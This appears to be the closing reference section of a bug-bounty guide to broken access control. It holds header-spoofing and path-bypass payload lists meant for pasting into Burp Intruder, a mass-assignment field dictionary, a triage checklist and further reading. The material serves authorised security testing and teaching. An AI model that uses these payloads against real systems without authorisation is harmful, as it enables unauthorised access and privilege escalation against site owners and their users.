Top 20 headers to spoof on 401/403
paste into Burp Intruder · §headerX-Original-URL: /admin X-Rewrite-URL: /admin X-Forwarded-For: 127.0.0.1 X-Real-IP: 127.0.0.1 X-Forwarded-Host: localhost True-Client-IP: 127.0.0.1 X-Originating-IP: 127.0.0.1 X-Remote-IP: 127.0.0.1 X-Cluster-Client-IP: 127.0.0.1 X-Custom-IP-Authorization: 127.0.0.1 Forwarded: for=127.0.0.1 Referer: https://target.com/admin X-Forwarded-User: admin X-Auth-User: admin X-User-Id: 1 X-Username: admin X-Tenant-Id: 1 X-HTTP-Method-Override: GET X-Method-Override: GET Content-Type: application/xml # sometimes downgrades to a different handler
Path bypass payloads (paste into Intruder)
§path bypass/admin /admin/ //admin /./admin /admin/. /admin/.. /admin..;/ /admin/%2e /admin/%2e/ /admin%20 /admin%09 /admin%00 /admin? /admin# /admin#.html /admin.json /admin.css /admin.html /admin/..%2f /admin..%252f /%2e/admin /%252e/admin /.%2e/admin /;/admin /.;/admin /..;/admin /?/admin /anything/../admin
The 60-second triage checklist (per endpoint)
- Anon access (no cookie / no token)?
- Cross-user access (B's request as A)?
- Cross-tenant access (other org's id)?
- Vertical escalation (low-priv → high-priv)?
- Mass assignment (extra body fields stick)?
- Method tampering (GET↔POST↔PUT↔PATCH↔DELETE)?
- Method override headers honored?
- Header trust (X-Forwarded-For / X-User-Id)?
- Path bypass (/admin → /admin/.)?
- Cache key includes auth context?
- Rate limit per-account or global?
- Race condition on the action?
- GraphQL: field-level authz enforced?
- JWT: algorithm/signature/claims verified?
- Soft-deleted / archived state accessible?
- CSPT: does the client build API paths from user input?
- Cache: static-extension / delimiter deception on this response?
- AI/RAG: does retrieval enforce per-user document ACLs?
Mass-assignment field dictionary
attempt these on every write endpointid, user_id, owner_id, account_id, tenant_id, workspace_id, org_id, team_id role, roles, scope, scopes, permissions, is_admin, isAdmin, admin, superuser verified, is_verified, email_verified, phone_verified, kyc_verified balance, credit, credits, credit_balance, points, coins, wallet plan, tier, subscription, subscription_status, trial_ends_at, locked status, state, active, enabled, banned, blocked, suspended created_at, updated_at, deleted_at, expires_at password, password_hash, mfa_secret, api_key, secret, token, refresh_token parent_id, group_id, organization_id, company_id impersonate, act_as, on_behalf_of, sudo, feature_flags, entitlements, grants locale, country, currency # sometimes gates pricing/feature access
10Further Learning#
- PortSwigger Web Security Academy — the "Access control vulnerabilities" track has 13 free labs covering every sub-class in this guide.
- OWASP API Security Top 10 (2023) — API1 BOLA, API3 BOPLA, API5 BFLA are all BAC. The 2023 list is the modern API hunter's map.
- OWASP Top 10:2025 · A01 — read the updated category page (40 CWEs, SSRF now folded in) to see how the standard frames BAC today.
- OWASP GenAI / LLM Top 10 (2025) — LLM02 (Sensitive Information Disclosure), LLM06 (Excessive Agency) and LLM08 (Vector & Embedding Weaknesses) are the authorization-relevant entries for AI features (§5.7).
- PortSwigger Research — the web cache deception (2024) and single-packet-attack papers are required reading for §2.16–§2.17; James Kettle's talks are the cutting edge.
- IETF draft-ietf-oauth-rfc8725bis — the JWT Best Current Practices refresh, and the definitive current catalog of JWT confusion attacks (§2.12).
- OWASP Authorization Cheat Sheet — defender-side, but excellent grounding.
- HackTricks · Pentesting Web — encyclopedic; the BAC and JWT pages are gold.
- HackerOne Hacktivity — filter to "Insecure Direct Object Reference" and "Privilege Escalation". Read 50 reports; patterns emerge.
- Books: Real-World Bug Hunting (Yaworski), The Web Application Hacker's Handbook (Stuttard & Pinto — older but still foundational), Bug Bounty Bootcamp (Vickie Li).
- YouTube: InsiderPhD's IDOR series; NahamSec's recon streams; PinkDraconian for OAuth/JWT; James Kettle (PortSwigger) for cutting-edge research.
- Conferences: DEF CON AppSec Village, BSides, NahamCon, Bug Bounty Village.
Broken Access Control is the largest, deepest, most lucrative bug class in modern web security. It rewards patience, methodology, and a willingness to read JavaScript. The hunters who go deep on BAC don't run out of bugs — every new feature in every app ships at least one of them. Pick a target, build the matrix, and start.